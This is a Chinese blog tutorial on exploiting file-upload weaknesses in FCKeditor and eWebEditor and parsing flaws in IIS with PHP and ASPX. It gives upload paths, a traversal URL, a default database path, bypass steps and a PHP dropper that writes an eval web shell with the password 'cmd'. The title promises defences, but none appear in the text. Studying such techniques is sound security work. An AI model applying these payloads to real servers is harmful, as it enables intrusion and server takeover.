百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)

lipiwang 2024-11-25 14:49 5 浏览 0 评论

一.编辑器漏洞

1.编辑器

编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档。

编辑器通常分为两种情况:

(1) 不需要后台验证,可以直接在前台访问且操作。通过方法找到编辑器,再进行目录爆破(用御剑去扫描网站的目录)和蜘蛛爬行(AWS扫描器去判断是否存在网站编辑器)。

通常,存在 www.xxx.com/edit 或 www.xxx.com/uploadfiles 的域名,很可能会存在编辑器。


(2) 需要后台验证,才能操作编辑器。先通过漏洞或其他方法登录后台。


常用编辑器包括:

FCKeditor

EWEbeditor

CKFinder

UEDITOR

DotNet TextBox

Cute Editor

其中,用的次数较多的两种编辑器是FCK和eWEB,本篇博客将用这两种编辑器作演示。

2.FCKeditor编辑器漏洞利用

FCKeditor常见上传目录:

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

(1) FCK编辑器漏洞 —— “.” 变 “_” 绕过方法

在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”,这样我们的文件名解析就无效果了。绕过方法是突破建立文件夹,其实质是利用我们IIS6.0的目录解析(参考前文)。

编辑器漏洞利用常见步骤如下:

找到编辑器。可以通过编辑器路径的文件名来判断是什么编辑器。

确认版本。

搜索该版本编辑器的漏洞利用。

假设路径为“/fckeditor/editor/filemanager/connectors/test.html”,文件名中包含“fck”,可以直接判定为FCK编辑器。打开如下图所示:


在FCKeditor中选中“a.asp;.png”并成功上传,如下图所示。


打开服务器,可以看到成功上传的图片文件。它名字被修改为“a_asp;.png”,这就是FCK高版本的过滤,它将“.”修改为“_”。


(2) FCK编辑器还有一个突破文件上传漏洞

它是利用IIS6的目录解析漏洞,我们先建立一个“a.asp”文件夹,然后上传图片一句话木马“a_asp;.png”,IIS6目录解析漏洞会将“a.asp”目录下的文件都解析成asp文件去执行。

第一步,打开FCK编辑器并在“a.asp”目录下上传一个“b.asp”文件夹。注意,在“Current Folder”中需要填写“/a.asp”。


第二步,打开BurpSuite软件抓包。


可以看到,我们在a.asp目录下创建了“b_asp”文件夹,这是因为“.”被FCK漏洞替换成了“_”。


第三步,这样“a.asp”文件夹就被成功创建,接着将一句话木马上传至该文件夹中。


上传之后如下图所示:


当一句话木马上传成功之后,我们就可以成功利用Caidao进行Webshell目录获取了。最后补充一个FCK编辑器漏洞综合利用工具:https://www.webshell.cc/4479.html


3.eWebEditor编辑器漏洞

eWebEditor编辑器漏洞利用的基本流程如下:

(1) 进后台

eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb

(2) eweb遍历漏洞

利用该漏洞遍历文件目录、查看整个网站结构及敏感信息

ewebeditor/admin_uploadfile.asp?id=14&dir=./

(3) 修改样式表上传文件

如下图所示,这里选择某个样式表进行设置。


然后在图片类型中,增加“asa”类型。“.asa”可以被当成“.asp”文件去执行,而网站可能会过滤“asp”类型的后缀,所以这里添加“.asa”。


打开“工具栏”,显示如下图所示:


点击“按钮设置”,准备添加按钮。


选择“插入或修改图片”,然后“保存设置”。


此时返回页面,点击“预览”可以看到我们已经添加的“插入或修改图片”按钮。


然后直接上传“1.asa”文件,如下图所示。


然后点击代码,可以看到这是一个木马的文件路径。


所以,编辑器其实就是一个上传点,通过解析漏洞或多种文件上传漏洞可以实现绕过并上传一句话木马,从而提权。

二.IIS高版本上传

IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。真实的渗透中,会遇到很多的问题,比如WAF、高版本过滤、安全狗、被拦截绕过、不解析等等。接下来分享一个IIS高版本上传思路。

1.畸形解析漏洞

畸形解析漏洞影响版本:IIS7、IIS7.5、Nginx<0.8.03

漏洞产生条件是开启Fast-CGI或php配置文件中cgi.fix_pathinfo

其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。由于该漏洞是php配置造成,并且默认开启该功能,所以它影响了IIS7、IIS7.5、IIS8.5等多个版本,凡是IIS+PHP都有可能会有这个漏洞。

漏洞利用方法:当我们上传一张名为“1.jpg”的图片文件,并且这张图片文件里包含以下代码。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>

那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字“/shell.php”。如果图片没有被改名,那么现在我们的一句话文件在“1.jpg/shell.php”中。

2.案例分析

假设我们向IIS+PHP搭建的远程服务器上传“1.jpg”文件。


开启服务器如下图所示:


“1.jpg”代码包含如下代码 ,它能显示PHP配置信息。


<?php phpinfo(); ?>


通过URL能够访问PHP的版本信息,如下图所示。该URL运行了我们的PHP代码,所以才返回相应的配置信息。在URL(49.234.12.78/1.jpg/.php)中,首先访问“.php”文件,它是不存在的,所以跳到前面的“1.jpg”位置,而“1.jpg”是存在的并且包含php代码,就会把它当成php文件去执行,并获取PHP配置信息。


为什么IIS高版本会存在这个漏洞呢?
这是因为IIS高版本在搭建php网站的时候,它会开启CGI/FastCGI,并且php配置文件选项默认开启。所以,该畸形解析漏洞不光存在于IIS7、IIS7.5,还有IIS8、IIS10等版本。


接着我们演示另一个代码,将“1.jpg”内容修改如下,直接写入shell。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>


访问“/1.jpg/shell.php”显示的内容为空。


但是此时会在服务器生成一个名为“shell.php”的文件,如下图所示:


并且“shell.php”包含了我们的一句话木马。


这样通过Caidao即可访问该页面,并获取服务器的文件目录。

3.aspx漏洞

aspx它有一个“web.config”的配置文件,它规定我们上传文件的后缀。



我们可以自定一个后缀名来解析aspx文件。


换句话说,当我们遇到可以上传配置文件的时候,则上传我们修改好的配置文件,然后自定义一个后缀名如“.ad”,从而绕过WAF或检测,上传成功之后它会解析成aspx并执行。如下图所示:


所以,当我们遇到可以上传配置文件的时候,通过该方法实现绕过,从而提权。

三.总结

写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。


相关推荐

前端入门——css 网格轨道详细介绍

上篇前端入门——cssGrid网格基础知识整体大概介绍了cssgrid的基本概念及使用方法,本文将介绍创建网格容器时会发生什么?以及在网格容器上使用行、列属性如何定位元素。在本文中,将介绍:...

Islands Architecture(孤岛架构)在携程新版首页的实践

一、项目背景2022,携程PC版首页终于迎来了首次改版,完成了用户体验与技术栈的全面升级。作为与用户连接的重要入口,旧版PC首页已经陪伴携程走过了22年,承担着重要使命的同时,也遇到了很多问题:维护/...

HTML中script标签中的那些属性

HTML中的<script>标签详解在HTML中,<script>标签用于包含或引用JavaScript代码,是前端开发中不可或缺的一部分。通过合理使用<scrip...

CSS 中各种居中你真的玩明白了么

页面布局中最常见的需求就是元素或者文字居中了,但是根据场景的不同,居中也有简单到复杂各种不同的实现方式,本篇就带大家一起了解下,各种场景下,该如何使用CSS实现居中前言页面布局中最常见的需求就是元...

CSS样式更改——列表、表格和轮廓

上篇文章主要介绍了CSS样式更改篇中的字体设置Font&边框Border设置,这篇文章分享列表、表格和轮廓,一起来看看吧。1.列表List1).列表的类型<ulstyle='list-...

一文吃透 CSS Flex 布局

原文链接:一文吃透CSSFlex布局教学游戏这里有两个小游戏,可用来练习flex布局。塔防游戏送小青蛙回家Flexbox概述Flexbox布局也叫Flex布局,弹性盒子布局。它决定了...

css实现多行文本的展开收起

背景在我们写需求时可能会遇到类似于这样的多行文本展开与收起的场景:那么,如何通过纯css实现这样的效果呢?实现的难点(1)位于多行文本右下角的展开收起按钮。(2)展开和收起两种状态的切换。(3)文本...

css 垂直居中的几种实现方式

前言设计是带有主观色彩的,同样网页设计中的css一样让人摸不头脑。网上列举的实现方式一大把,或许在这里你都看到过,但既然来到这里我希望这篇能让你看有所收获,毕竟这也是前端面试的基础。实现方式备注:...

WordPress固定链接设置

WordPress设置里的最后一项就是固定链接设置,固定链接设置是决定WordPress文章及静态页面URL的重要步骤,从站点的SEO角度来讲也是。固定链接设置决定网站URL,当页面数少的时候,可以一...

面试发愁!吃透 20 道 CSS 核心题,大厂 Offer 轻松拿

前端小伙伴们,是不是一想到面试里的CSS布局题就发愁?写代码时布局总是对不齐,面试官追问兼容性就卡壳,想跳槽却总被“多列等高”“响应式布局”这些问题难住——别担心!从今天起,咱们每天拆解一...

3种CSS清除浮动的方法

今天这篇文章给大家介绍3种CSS清除浮动的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。首先,这里就不讲为什么我们要清楚浮动,反正不清除浮动事多多。下面我就讲3种常用清除浮动的...

2025 年 CSS 终于要支持强大的自定义函数了?

大家好,很高兴又见面了,我是"高级前端进阶",由我带着大家一起关注前端前沿、深入前端底层技术,大家一起进步,也欢迎大家关注、点赞、收藏、转发!1.什么是CSS自定义属性CSS自...

css3属性(transform)的一个css3动画小应用

闲言碎语不多讲,咱们说说css3的transform属性:先上效果:效果说明:当鼠标移到a标签的时候,从右上角滑出二维码。实现方法:HTML代码如下:需要说明的一点是,a链接的跳转需要用javasc...

CSS基础知识(七)CSS背景

一、CSS背景属性1.背景颜色(background-color)属性值:transparent(透明的)或color(颜色)2.背景图片(background-image)属性值:none(没有)...

CSS 水平居中方式二

<divid="parent"><!--定义子级元素--><divid="child">居中布局</div>...

取消回复欢迎 发表评论: